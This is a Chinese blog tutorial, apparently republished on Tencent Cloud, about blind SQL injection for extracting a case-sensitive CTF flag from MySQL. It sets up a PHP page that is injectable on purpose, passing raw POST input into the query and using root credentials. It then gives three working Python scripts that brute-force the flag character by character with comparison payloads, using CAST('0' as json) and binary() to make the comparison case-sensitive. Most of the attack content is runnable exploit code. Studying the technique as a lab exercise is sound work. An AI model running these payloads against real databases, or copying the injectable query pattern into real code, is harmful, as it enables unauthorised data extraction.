前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >flag区分大小写的sql盲注

flag区分大小写的sql盲注

作者头像
Power7089
发布2020-07-27 16:13:30
1.6K0
发布2020-07-27 16:13:30
举报

环境搭建

先自己创建两个数据表。

然后自己搭建一个极其简单的mysql查询网页。

网页代码:

代码语言:javascript
复制
#sql.php
<!DOCTYPE html>
<html>
<head>
<title>ezsqli</title>
</head>
<body>
<form action="" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
<?php
if ($_POST['id']!='') {
$dbhost = 'localhost';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = 'root';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if (!$conn) {
die('连接失败: ' . mysqli_error($conn));
}
// 设置编码,防止中文乱码
mysqli_query($conn, "set names utf8");
$test = $_POST['id'];
$sql = "select number from math where id=$test";
mysqli_select_db($conn, 'test');
$retval = mysqli_query($conn, $sql);
if (!$retval) {
die('无法读取数据: ' . mysqli_error($conn));
} else {
$row = mysqli_fetch_array($retval);
echo $row['number'];
}
mysqli_close($conn);
}
?>

不区分大小写测试

测试代码:

代码语言:javascript
复制
import requests
url = 'http://localhost/sql.php'
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '2||((select 1,{})<(select * from test))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
if 'two' in r.text:
flag += chr(char-1)#这个可以用知道select ’f’<’flag’;和select ‘flag’<’flag’;就明白
print(flag)
break
print((flag[:-1] + chr(ord(flag[-1]) + 1)).lower())#这个是必须的,道理和上面一样

结果:

可以看到不区分大小写,而且都会转化为大写。这个是因为MySQL不区分大小写,而且大写字符的ASCII码都比小写的小。

区分大小写

1.CAST(‘0’as json)

代码语言:javascript
复制
import requests
import string
url = 'http://localhost/sql.php'
def test():
str1 = string.punctuation[0:15] + '0123456789' + string.punctuation[15:22] + string.ascii_uppercase + string.punctuation[22:28] + string.ascii_lowercase + string.punctuation[28:]
str1 = str1.replace("'", "").replace('"', '').replace('\\', '')
print(str1)
flag = ''
for j in range(1,20):#如果flag太长,按照自己需要可以多循环几次
for s in str1:
s = flag+s
paylaod = "2||((select 1,concat('{}~',CAST('0' as json))) < (select * from test))".format(s)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'two' in r.text:
flag=s
#print(r.text)
print(flag)
break
if __name__ == '__main__':
test()

结果:

MySQL中的JSON对象是二进制对象,因此cast(0 as json)回返回二进制’0’。也就是相当于”select ‘f0’<’flag’;”,而且’f0’是二进制数据。

2.binary()

代码语言:javascript
复制
import requests
import string
url = 'http://localhost/sql.php'

str1 =string.punctuation[0:15]+'0123456789'+string.punctuation[15:22]+string.ascii_uppercase+string.punctuation[22:28]+string.ascii_lowercase+string.punctuation[28:]
str1=str1.replace("'","").replace('"','').replace('\\','')
print(str1)
flag = ''
for j in range(1, 20):#如果flag太长,按照自己需要可以多循环几次
    for i in str1:
        sql = flag + i
        paylaod = "2||((select 1,binary('{}')) < (select * from test))".format(sql)
        # print(paylaod)
        data = {
            'id': paylaod,
        }
        r = requests.post(url, data=data)

        if 'two' in r.text:
            flag += chr(ord(i) - 1)
            # print(r.text)
            print(flag)
            break
print(flag[:-1] + chr(ord(flag[-1]) + 1))

结果:

原理同上面一样。

总结:

原理很简单,我只是跟着大佬学习一下。需要注意的是,代码中str1的字符的顺序一定要按照ASCII码从小到大排序(这个坑了我好久)。”select ‘f’<’flag’;”和”select ‘falg’<’flag’;”的区别容易被忽略(说的就是我自己)。如果有更好的可以自己试试,原理就是这样。还请大佬指点。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员阿甘 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 不区分大小写测试
  • 区分大小写
    • 1.CAST(‘0’as json)
      • 2.binary()
      • 总结:
      相关产品与服务
      云数据库 SQL Server
      腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档